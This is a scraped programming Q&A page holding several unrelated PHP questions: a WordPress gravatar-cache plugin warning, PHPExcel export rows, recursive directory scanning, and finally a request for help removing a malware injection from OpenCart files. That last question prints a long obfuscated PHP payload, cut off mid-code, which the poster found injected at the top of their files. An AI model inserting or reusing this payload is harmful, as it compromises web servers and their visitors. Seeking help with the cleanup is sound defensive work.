Recieving PHP Warning copy(): Filename cannot be empty - php
I am receiving this warning in one of the Wordpress plugins.
copy(): Filename cannot be empty in /wp-content/plugins/nix-gravatar-cache/nf-gravatar-cache.php on line 181
Please help me correct this, if somebody can. I am not very good with PHP. Thanks
Here is the code.
<?php
class NFGC_Gravatar_Cache {
protected $upload_url;
protected $upload_path;
protected $plugin_dir_path;
public $plugin_name = 'NIX Gravatar Cache';
function __construct(){
if ( get_option( 'upload_url_path' ) ) {
$this->upload_url = get_option( 'upload_url_path' );
$this->upload_path = get_option( 'upload_path' );
}
else {
$up_dir = wp_upload_dir();
$this->upload_url = $up_dir['baseurl'];
$this->upload_path = $up_dir['basedir'];
}
$this->plugin_dir_path = plugin_dir_path( __FILE__ );
require_once $this->plugin_dir_path . '/messages.class.php';
NFGC_Messages::init();
$active = get_option( 'nf_c_a_options' );
if ( $active[0]['active'] == 1 ) {
add_filter( 'get_avatar', array( $this,'get_cached_avatar' ), -1000000000, 5 );
}
add_action( 'admin_menu', array( $this,'add_admin_menu' ) );
register_activation_hook( __FILE__, array( $this, 'activate' ) );
$this->init();
register_deactivation_hook( __FILE__, 'deactivate' );
register_uninstall_hook( __FILE__ , 'uninstall' );
if ( !is_writable( $this->upload_path.'/gravatar/' ) && is_dir( $this->upload_path.'/gravatar/' ) ) {
NFGC_Messages::add_message( 'error', 'Please set write permissions for "'. $this->upload_path .'/gravatar/"' );
}else{
if ( #!mkdir( $this->upload_path.'/gravatar/', 0777 ) && ! is_dir( $this->upload_path.'/gravatar/' ) ) {
NFGC_Messages::add_message( 'error', 'Could not create directory "gravatar". Please set write permissions for "'. $this->upload_path .'/gravatar/"' );
}
}
if ( isset ( $_POST['nf_clear_cache'] ) )
$this->clear_cache();
}
public function get_template_path() {
return $this->plugin_dir_path .'template';
}
// Activate plugin and update default option
public function activate() {
$dir = $this->upload_path.'/gravatar/';
// delete_option('nf_c_a_options');
if ( get_option( 'nf_c_a_options' ) == false ) {
$default_options = array('active' => 1,
'ttl_day' => 10,
'ttl_hour' => 0,
'ttl_min' => 0
);
update_option( 'nf_c_a_options', array( $default_options ) );
}
}
// Deactivate plugin and clear cache
public function deactivate() {
$this->clear_cache();
}
// Notice in plugin options page
public function admin_help_notice() {
global $current_screen;
if ( $current_screen->base == 'settings_page_'. basename( __FILE__,'.php' ) ) {
return true;
}
}
// convert ttl option to second
private function cache_to_second(){
$cache_time = get_option( 'nf_c_a_options' );
$cache_time = array_reverse( $cache_time[0] );
$action = array();
foreach ( $cache_time as $key => $value ) {
if ( $key == 'active' )
continue;
switch ( $key ) {
case 'ttl_min':
$cache_second = $value != 0 ? $value*60 : '';
break;
case 'ttl_hour':
$cache_second = $value != 0 ? ( $value*60*60 ) + $cache_second : $cache_second;
break;
case 'ttl_day':
$cache_second = $value != 0 ? ( $value*60*60*24 ) + $cache_second : $cache_second;
break;
}
}
if ( ! $cache_second ) {
$cache_second = 864000;// TTL of cache in seconds (10 days)
}
return $cache_second;
}
// The main functional
public function get_cached_avatar( $source, $id_or_email, $size, $default, $alt ) {
if ( !is_writable( $this->upload_path.'/gravatar/' ) || is_admin() ) {
return $source;
}
$time = $this->cache_to_second();
preg_match('/d=([^&]*)/', $source, $d_tmp);
$g_url_default_sorce = isset($d_tmp[1]) ? $d_tmp[1] : false;
preg_match('/forcedefault=([^&]*)/', $source, $d_tmp);
$g_forcedefault = isset($d_tmp[1]) ? $d_tmp[1] : false;
preg_match('/avatar\/([a-z0-9]+)\?s=(\d+)/', $source, $tmp);
$garvatar_id = $tmp[1];
$file_name = md5($garvatar_id.$g_url_default_sorce);
$g_path = $this->upload_path.'/gravatar/'.$file_name.'-s'.$size.'.jpg';
//* $g_path_default = $this->upload_path.'/gravatar/default'.'-s'.$size.'.jpg';
$g_url = $this->upload_url.'/gravatar/'.$file_name.'-s'.$size.'.jpg';
//* $g_url_default = $this->upload_url.'/gravatar/'.'default'.'-s'.$size.'.jpg';
// Check cache
static $nf_avatars_cache = null;
if ($nf_avatars_cache === null) $nf_avatars_cache = get_option('nf_avatars_cache');
if (! is_array($nf_avatars_cache)) $nf_avatars_cache = array();
if (isset($nf_avatars_cache[$garvatar_id][$size])) {
$g_url = $nf_avatars_cache[$garvatar_id][$size]['url'];
$g_path = $nf_avatars_cache[$garvatar_id][$size]['path'];
}
if (! is_file($g_path) || (time()-filemtime($g_path)) > $time) {
$curl_url = 'https://www.gravatar.com/avatar/'.$garvatar_id.'?s='.$size.'&r=G&d='.$g_url_default_sorce;
$ch = curl_init($curl_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_VERBOSE, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
$response = curl_exec($ch);
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = substr($response, 0, $header_size);
// Checking for redirect
$header_array = array();
preg_match('/^Location\: (.*)$/m', $header, $header_array);
$redirect_url = isset($header_array[1]) ? $header_array[1] : false;
if ($redirect_url) {
$g_url = $g_url_default;
$g_path = $g_path_default;
if (! is_file($g_path) || (time()-filemtime($g_path)) > $time) {
copy($redirect_url, $g_path);
}
}
else {
// Check mime type
$mime_str = curl_getinfo( $ch, CURLINFO_CONTENT_TYPE );
$mime_array = array();
preg_match( '#/([a-z]*)#i', $mime_str, $mime_array );
if (isset($mime_array[1])) {
// Write cache to file
$fp = fopen( $g_path, "wb" );
$body = substr( $response, $header_size );
fwrite( $fp, $body );
fclose( $fp );
}
}
curl_close($ch);
$nf_avatars_cache[$garvatar_id][$size]['url'] = $g_url;
$nf_avatars_cache[$garvatar_id][$size]['path'] = $g_path;
update_option( 'nf_avatars_cache', $nf_avatars_cache );
}
return '<img alt = "'.$alt.'" src=\''.$g_url.'\' class="avatar avatar-'.$size.'" width="'.$size.'" height="'.$size.'" />';
}
// Create plugin option settings menu
public function add_admin_menu() {
// settings menu page
add_options_page( 'Cached Avatar ', $this->plugin_name, 'manage_options', basename( __FILE__ ), array( $this,'view_options_page' ) );
}
// Create page option
public function view_options_page() {
// update options
if ( isset( $_POST['nf_c_a_submit'] ) ) {
$update_val_options = $_POST['nf_c_a_options'];
foreach ( $update_val_options as $option => $value ) {
$update_val_options[$option] = abs( intval( $value ) );
}
if( $update_val_options['ttl_min'] == 0 && $update_val_options['ttl_hour'] == 0 && $update_val_options['ttl_day'] == 0 ) {
$update_val_options['ttl_day'] = 10;
}
update_option( 'nf_c_a_options', array( $update_val_options ) );
}
$options = get_option( 'nf_c_a_options' );
include( $this->get_template_path() .'/main-options-page.php');
}
private function clear_cache() {
$dir = $this->upload_path.'/gravatar/';
$no_permision_to_delete = false;
// Open directory
if ( is_dir( $dir ) ) {
if ( $opendir = opendir( $dir ) ) {
$count = 0;
while ( ( $file = readdir( $opendir ) ) !== false ) {
if ( filetype( $dir . $file ) == 'file' ) {
if ( #unlink( $dir . $file ) ) {
$count++;
}else {
$no_permision_to_delete = true;
}
}
}
if ( $no_permision_to_delete ) {
NFGC_Messages::add_message( 'error','Unable to clear the cache' );
}else{
update_option('nf_avatars_cache', array() );
NFGC_Messages::add_message( 'info','The cache is cleared!' );
NFGC_Messages::add_message( 'info','Removed '.$count.' files' );
}
closedir( $opendir );
}
}
}
// return count and size
public function get_cache_info() {
$dir = $this->upload_path.'/gravatar/';
$skip = array('.','..');
$unit = array('b', 'kb', 'mb', 'gb', 'tb', 'pb');
if ( is_dir( $dir ) ) {
$file_list = scandir( $dir );
// delete . and ..
foreach ( $skip as $value ) {
unset( $file_list[ array_search( $value, $file_list ) ] );
}
// sum files size
foreach ( $file_list as $file ) {
$size = filesize( $dir . $file );
$all_size = $all_size + $size;
}
}
$readable_form = #round( $all_size / pow( 1024, ( $i = floor( log( $all_size, 1024) ) ) ), 2 ) . ' ' . $unit[$i];
return array( 'amount' => count( $file_list ) , 'used_space' => $readable_form );
}
private function init() {
return false;
wp_enqueue_script( 'nfgc-main-script', plugins_url( '/js/main.js', __FILE__ ), array('jquery') );
wp_enqueue_style( 'nfgc-main-style', plugins_url( '/css/style.css', __FILE__ ) );
}
}// Class
global $nfgc;
$nfgc = new NFGC_Gravatar_Cache();
add_action('wp_enqueue_scripts', function() {
wp_enqueue_script( 'nfgc-main-script', plugins_url( '/js/main.js', __FILE__ ), array('jquery') );
wp_enqueue_style( 'nfgc-main-style', plugins_url( '/css/style.css', __FILE__ ) );
});
`
Try this..
Use file_exists
Returns TRUE if the file or directory specified by filename exists; FALSE otherwise.
if (file_exists($redirect_url)) {
$g_url = $g_url_default;
$g_path = $g_path_default;
if (! is_file($g_path) || (time()-filemtime($g_path)) > $time) {
copy($redirect_url, $g_path);
}
}
http://php.net/manual/en/function.file-exists.php
Related
PHPExcel not filling up rows
This is my code using PHPExcel and NinjaForms. Basically the code does go inside if( isset($sub[$field_key]) ){ so all data is OK. I have also echoed it but somehow the rows are empty. public function export_file( $form_id ) { // set xls always on $use_xls = true; // set save dir $upload_dir = wp_upload_dir(); $tmp_file = $upload_dir['basedir'] . '/test/' . $form_id . '/form-submissions-'. $form_id .'.xls';; $sub_results = $this->get_submissions( $form_id ); $num_submissions = $this->count_submissions($form_id ); $fields_meta = Ninja_Forms()->form($form_id)->get_fields(); $field_names=array(); $header_row=array(); $header_row['id'] = __('ID','ninja-forms-spreadsheet'); $header_row['date_submitted'] = __('Submission date','ninja-forms-spreadsheet'); foreach($fields_meta as $field_id => $field){ $field_settings = $field->get_settings(); // skip save fields if( $field_settings['type'] == 'save' || $field_settings['type'] == 'submit' ) { unset( $fields_meta[$field_id] ); continue; } $field_names[$field_id] = sanitize_title( $field_settings['label'].'-'.$field_id ); $field_types[$field_id] = $field_settings['type']; $header_row[$field_id] = $field_settings['label']; } //die(); require_once( plugin_dir_path( __DIR__ ).'/ninja-forms-excel-export/includes/PHPExcel.php'); $objPHPExcel = new PHPExcel(); $row_number = 1; // this should be the same wordpress uses and therefore be the saver choice PHPExcel_Shared_File::setUseUploadTempDirectory( true ); // Table Headline $col_index = 0; foreach ($header_row as $headline) { $col = PHPExcel_Cell::stringFromColumnIndex( $col_index ); $objPHPExcel->getActiveSheet()->getCell($col.$row_number)->setValue( $headline ); $objPHPExcel->getActiveSheet()->getStyle($col.$row_number)->getFont()->setBold(true); $col_index++; } $objPHPExcel->getActiveSheet()->freezePane( "A2" ); $row_number++; /* * Loop over each sub */ foreach($sub_results as $sub){ $col = 'A'; $objPHPExcel->getActiveSheet()->getCell($col++.$row_number)->setValueExplicit( $sub['_seq_num'], PHPExcel_Cell_DataType::TYPE_NUMERIC ); $objPHPExcel->getActiveSheet()->getCell($col++.$row_number)->setValueExplicit( $sub['date_submitted'] ); $col_index = 0; foreach ($fields_meta as $field_id => $field) { $field_key = '_field_'.$field_id; if( isset($sub[$field_key]) ){ $field_value = $sub[$field_key]; $col = PHPExcel_Cell::stringFromColumnIndex( 2+$col_index ); $field_value = maybe_unserialize( $field_value ); echo $field_types[$field_id] . ' '; if( in_array($field_types[$field_id], array( 'shipping', 'total', 'number' ) ) ){ // float values $objPHPExcel->getActiveSheet()->getCell($col.$row_number) ->setValueExplicit( $field_value, PHPExcel_Cell_DataType::TYPE_NUMERIC ); $objPHPExcel->getActiveSheet()->getStyle($col.$row_number) ->getNumberFormat() ->setFormatCode('#,##'); }elseif( in_array($field_types[$field_id], array( 'starrating', 'quantity' ) ) ){ // integer values $objPHPExcel->getActiveSheet()->getCell($col.$row_number) ->setValueExplicit( $field_value, PHPExcel_Cell_DataType::TYPE_NUMERIC ); $objPHPExcel->getActiveSheet()->getStyle($col.$row_number) ->getNumberFormat() ->setFormatCode('#'); }elseif( in_array($field_types[$field_id], array( 'checkbox' ) ) || strpos($field_types[$field_id], '-optin') ){ $objPHPExcel->getActiveSheet()->getCell($col.$row_number)->setValueExplicit( $field_value, PHPExcel_Cell_DataType::TYPE_STRING ); }elseif( in_array($field_types[$field_id], array( 'listcheckbox' ) ) ){ $field_output = $field_value; if( is_array($field_value) ){ $field_output = ''; foreach ($field_value as $key => $value) { if( $field_output == '' ) $field_output = $value; else $field_output .= ', ' . $value; } } $objPHPExcel->getActiveSheet()->getCell($col.$row_number)->setValueExplicit( htmlspecialchars_decode ( $field_output,ENT_QUOTES ), PHPExcel_Cell_DataType::TYPE_STRING ); }elseif( $field_types[$field_id] == 'file_upload' ){ if( is_array($field_value)){ $field_value = implode("\n", $field_value); } $objPHPExcel->getActiveSheet()->getCell($col.$row_number)->setValueExplicit( htmlspecialchars_decode ( $field_value,ENT_QUOTES ), PHPExcel_Cell_DataType::TYPE_STRING ); $objPHPExcel->getActiveSheet()->getStyle($col.$row_number) ->getAlignment() ->setWrapText(true); }elseif( $field_types[$field_id] == 'textarea' ){ $objPHPExcel->getActiveSheet()->getCell($col.$row_number)->setValueExplicit( htmlspecialchars_decode ( $field_value,ENT_QUOTES ), PHPExcel_Cell_DataType::TYPE_STRING ); $objPHPExcel->getActiveSheet()->getStyle($col.$row_number) ->getAlignment() ->setWrapText(true); }else{ if( is_array($field_value) ){ $field_value = implode('; ', $field_value); } $objPHPExcel->getActiveSheet()->getCell($col.$row_number)->setValueExplicit( htmlspecialchars_decode ( $field_value,ENT_QUOTES ), PHPExcel_Cell_DataType::TYPE_STRING ); } } $col_index++; } $row_number++; } $objWriter = new PHPExcel_Writer_Excel5($objPHPExcel); ob_end_clean(); $objWriter->save($tmp_file); } The excel modified time is updated correctly but all rows are empty except the first header row in bold. I am not sure what is the issue. Any help is appreciated.
php scan directories in direcctories
Problem it's in sub directories, i have many sub directories and sub sub directories, i need check them all, Maybe someone know how to help . My code: $mainFodlers = array_diff(scandir(self::PROJECT_DIRECTORY, 1), array('..', '.','__todo.txt')); foreach ($mainFodlers as $mainFodler) { if (is_dir(self::PROJECT_DIRECTORY . '/' . $mainFodler)) { $subFolders = array_diff(scandir(self::PROJECT_DIRECTORY . '/' . $mainFodler, 1), array('..', '.','__todo.txt', 'share_scripts.phtml')); } else { $extension = $this->getExtension($subFolder); if ($extension == 'phtml') { $file = $subFolder; $fileContent = file_get_contents(self::PROJECT_DIRECTORY . '/views/' . $file, true); } } }
Because I cannot really determine the end result of your code it is hard to answer effectively but to solve the problem of nested folders you might wish to consider a recursiveIterator type approach. The following code should give a good starting point for you - it takes a directory $dir and will iterate through it and it's children. /* Start directory */ $dir='c:/temp2'; /* Files & Folders to exclude */ $exclusions=array( 'oem_no_drivermax.inf', 'smwdm.sys', 'file_x', 'folder_x' ); $dirItr = new RecursiveDirectoryIterator( $dir ); $filterItr = new DirFileFilter( $dirItr, $exclusions, $dir, 'all' ); $recItr = new RecursiveIteratorIterator( $filterItr, RecursiveIteratorIterator::SELF_FIRST ); foreach( $recItr as $filepath => $info ){ $key = realpath( $info->getPathName() ); $filename = $info->getFileName(); echo 'Key = '.$key . ' ~ Filename = '.$filename.'<br />'; } $dirItr = $filterItr = $recItr = null; Supporting class class DirFileFilter extends RecursiveFilterIterator{ protected $exclude; protected $root; protected $mode; public function __construct( $iterator, $exclude=array(), $root, $mode='all' ){ parent::__construct( $iterator ); $this->exclude = $exclude; $this->root = $root; $this->mode = $mode; } public function accept(){ $folpath=rtrim( str_replace( $this->root, '', $this->getPathname() ), '\\' ); $ext=strtolower( pathinfo( $this->getFilename(), PATHINFO_EXTENSION ) ); switch( $this->mode ){ case 'all': return !( in_array( $this->getFilename(), $this->exclude ) or in_array( $folpath, $this->exclude ) or in_array( $ext, $this->exclude ) ); case 'files': return ( $this->isFile() && ( !in_array( $this->getFilename(), $this->exclude ) or !in_array( $ext, $this->exclude ) ) ); break; case 'dirs': case 'folders': return ( $this->isDir() && !( in_array( $this->getFilename(), $this->exclude ) ) && !in_array( $folpath, $this->exclude ) ); break; default: echo 'config error: ' . $this->mode .' is not recognised'; break; } return false; } public function getChildren(){ return new self( $this->getInnerIterator()->getChildren(), $this->exclude, $this->root, $this->mode ); } }
$_POST variable staying the same
I'm having trouble with this code and using different emails to view images in a directory (processed/$email) and the email changes per user's respective form entry, yet only shows the images from the most recent folder created regardless of the email given. <form action="<?php echo $_SERVER["PHP_SELF"];?>" method="POST"> E-mail: <input type="text" name="email" id="email2"><br> <br> <input type="submit" value="Retrieve" name="submit"><br><br> </form> and here's the PHP: <?php function scanDirectoryImages($directory, array $exts = array('jpeg', 'jpg', 'gif', 'png')) { if (substr($directory, -1) == '/') { $directory = substr($directory, 0, -1); } $html = ''; if ( is_readable($directory) && (file_exists($directory) || is_dir($directory)) ) { $directoryList = opendir($directory); while($file = readdir($directoryList)) { if ($file != '.' && $file != '..') { $path = $directory . '/' . $file; if (is_readable($path)) { if (is_dir($path)) { return scanDirectoryImages($path, $exts); } if ( is_file($path) && in_array(end(explode('.', end(explode('/', $path)))), $exts) ) { $html .= '<a href="' . $path . '"><img src="' . $path . '" style="max-height:250px;max-width:250px" /> </a>'; } } } } closedir($directoryList); } return $html; } echo scanDirectoryImages(processed.$_POST['email2']); ?> I've tried unsetting variables, etc. It doesn't work. When I go back to the form from any page, it's still only showing the most recently uploaded folder of images. The only thing that will make it show new images is if there is a new directory. I feel like I must be approaching this fundamentally wrong somehow and I'm new to PHP so some help would be hugely appreciated.
The original function has a recursive nature to it but doesn't utilise the existing suite of recursiveIterator classes - hopefully the below will be of use in that respect. When I tried your original function all I got it to return was a folder name and not a list of files / images. function scanImageDirectory( $directory, $root, $exts=array('jpg','jpeg','png','gif'), $exclusions=array('bmp') ){ $html=array(); $dirItr = new RecursiveDirectoryIterator( $directory ); $filterItr = new DirFileFilter( $dirItr, $exclusions, $directory, 'all' ); $recItr = new RecursiveIteratorIterator( $filterItr, RecursiveIteratorIterator::SELF_FIRST ); foreach( $recItr as $filepath => $info ){ if( $info->isFile() && in_array( strtolower( pathinfo( $info, PATHINFO_EXTENSION ) ), $exts ) ) { $filename=str_replace( array( realpath( $root ), chr(92) ), array( '', chr(47) ), realpath( $info ) ); $html[]="<a href='{$filename}' target='_blank'><img src='{$filename}' alt='{$info->getFilename()}' /></a>"; } } return implode( PHP_EOL,$html ); } $dir=ROOT.'/images/css/icons/browsers'; $root='c:/wwwroot'; echo scanImageDirectory( $dir, $root ); Or, as example for your situation $dir="processed/{$_POST['email']}"; $root=$_SERVER['DOCUMENT_ROOT']; echo scanImageDirectory( $dir, $root ); I realise that the class DirFileFilter is one I wrote and not a native PHP class - this can only be described as an id-10-T error.. Apologies - here is that class. class DirFileFilter extends RecursiveFilterIterator{ protected $exclude; protected $root; protected $mode; public function __construct( $iterator, array $exclude, $root, $mode='all' ){ parent::__construct( $iterator ); $this->exclude = $exclude; $this->root = $root; $this->mode = $mode; } public function accept(){ $folpath=rtrim( str_replace( $this->root, '', $this->getPathname() ), '\\' ); $ext=strtolower( pathinfo( $this->getFilename(), PATHINFO_EXTENSION ) ); switch( $this->mode ){ case 'all': return !( in_array( $this->getFilename(), $this->exclude ) or in_array( $folpath, $this->exclude ) or in_array( $ext, $this->exclude ) ); case 'files': return ( $this->isFile() && ( !in_array( $this->getFilename(), $this->exclude ) or !in_array( $ext, $this->exclude ) ) ); break; case 'dirs': case 'folders': return ( $this->isDir() && !( in_array( $this->getFilename(), $this->exclude ) ) && !in_array( $folpath, $this->exclude ) ); break; default: echo 'config error: ' . $this->mode .' is not recognised'; break; } return false; } public function getChildren(){ return new self( $this->getInnerIterator()->getChildren(), $this->exclude, $this->root, $this->mode ); } }
OpenCart Malware Injection. How to remove it from all files?
All the php files of my Opencart 1.5.6.4 including the theme's php files have this code on top of it: <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $xiyzbtmheq = 'bz)%x5c%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%xvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7860QUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)32wjidsb%x5c%x7860bj+upco%x5c%x7825>5h%x5c%x7825!<*:::::)qj3hopmA%x5c%x78273qj%x5c%x7x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x5c%2%51%x29%51%x29%73", NULL); }5c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x78255w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%x774]256#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]%x5c%x782f7rfs%x5c%x78256<#o]!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTPI%x5c%x7860QUUI&e_SEEB%x5c~!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057f166%x61%154%x28%151%x6d%160%x6c%157%x7825hOh%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmy%x5c%x7825,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bubE{hjudovg!|!**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<2p%x5c%275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]!hmg%x5c%x7825)!gj!~<ofmuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825c%x5c%x7825j:^<!%x5c%x7825w%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33b78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)udfoopd%x5c%x785c%x5c%x7825j^%x5c%x7824-%x5x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824w6*3qj%x5c%x78257>%x5c%x782272ubfsdXA%x5c%x7827K6<%x5c%x787f#%x5c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%7825%x5c%x7827Y%x5c%x7825x7860msvd}R;*msv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5c%x7825b:c%x7824-%x5c%x7824<%x5c%x7825155%x61%160%x28%42%x66%152%x66%147%x67%42%x2c%163%x74%162%x5f%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x782%x5c%x78e%x5c%x78b%x5c%x7825gx7825)uqpuft%x5c%x7860msvd},;uqpuft%xx5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5cx5c%x7860hA%x5c%x7827pd%x5c%x78256<C%x5c%x782q}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5c%x7787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!-1);} #error_reporting(0); pusut!-#j0#!%x5c%x782f!**#sfmcnbs+yfeobz+sf!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x%x5c%x7825tmw!>!#]y84]275%x7825>2q%x5c%x7825<#g6R85,67R37,187878r.985:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:55f;!opjudovg}k~~9{d%x5c%x7825:osvufstn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj]37y]672]48y]#>s%x5c%x7825<#462]47y]252]18y]#>q%x55)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x7825c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x764%145%x28%141%x72%162%x61%171%x5f%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)32x5c%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c7825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x55]y85]82]y76]62]y3:]84#-!OVMM*<%x2x7825b:>1<!gps)%x5c%x7825j:5c%x7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x78}#QwTW%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x3zbe!-#jt0*?]+^?]_%x5c%x785]256]y6g]257]y86]267]y74]275]y7:]268]1]y33]68]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]97f-s.973:8297f:5297e:56-%x5c%xXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPc}X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277]y72]265]y39]274]y85]27x5c%x7825kj:-!OVMM*<(<A%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%xT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%x7860GB)ffV%x5c%x787f<*X&Z&S{ftmfV%%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hf5d816:+946:ce44#)zbssb:-111112)eobs%x5c%x7860un>qp%x5c5tdz*Wsfuvso!%x5c%x7825bss%x5c%x785csboe))1%x5c%x782f35.)1%c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!f3]y6g]273]y76]271]y7d]252]y74]256]y39]252]y83]273%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p0;quui#>.%x5c%x7825!<***f%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%163%x70%154%x69%164%50%x2%x5c%x782f%x5c%x782424-%x5c%x7824*<!~!dsfbttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>5c%x7878{**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#7>x7825):fmji%x5c%x787!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-j,,*!|%x5c%x7824-%x5c%xl:!}V;3q%x5c%x7825}U;y]}R;2]},;osvufs}%x5c%7]381]211M5]67]452]88]5]48]32M<~!!%x5c%x7825s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<%x5c%825%x5c%x782fh%x5c%x7825)n%x5c%x782824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x55-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%3]317]445]212]445]43]321]464]284]364]6]234]342]58]24]31#-%x5c%x782x5c%x7825Z<^2%x5c%x785c2%x5c%x7827*&7-n%x5c%x782tRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cd2bge56+99386c6f+9y7f#<!%x5c%x7825tww!>!%x5c%x775%156%x61"])))) { $GLOBALS["%x61%156%x75%156%x61"]=1; function f5c%x7860msvd}+;!>!}%x5c%x7827,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7878pmpusut)tpqssuif((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!isset(271]y83]256]y78]248]y83]256]y81]265]y72]254]y76]67825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]b%x5c%x7825!>!2p%x5cx782fh%x5c%x7825:<**#57]38y]47]67y]37]88y]27]28y]#%x5c%x782fr%x5c%x75c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.2%^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x782f7###7x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%%x7825)tpqsut>j%x5c%x7825!*9!%x5c%x7827bubE{h%x5c%x7825)tpqsut>j%x5c%5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x%x7825zB%x5c%x7825z>!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c5c%x782f#7e:55946-tr.984:75983:48984:71ppde:4:|:**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<:iuhofm%x5c%x7825:-554l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787id%x5c%x78256<%x5c%x787fw6*%x5c%x78%x7825wN;#-Ez-1H*WCw*[!%x5c%x7825rN)%x5c%x7825%x5c%x7878:-!%x5c%x7825tzwx7825%x5c%x787f!~!<##!>!2p%gg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&68:<##:>:h%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]58y]4720ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c%f7&6|7**111127-K)ebfsX%x5c25)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x59.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x78278257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x7827doj%xjfgg($n){return 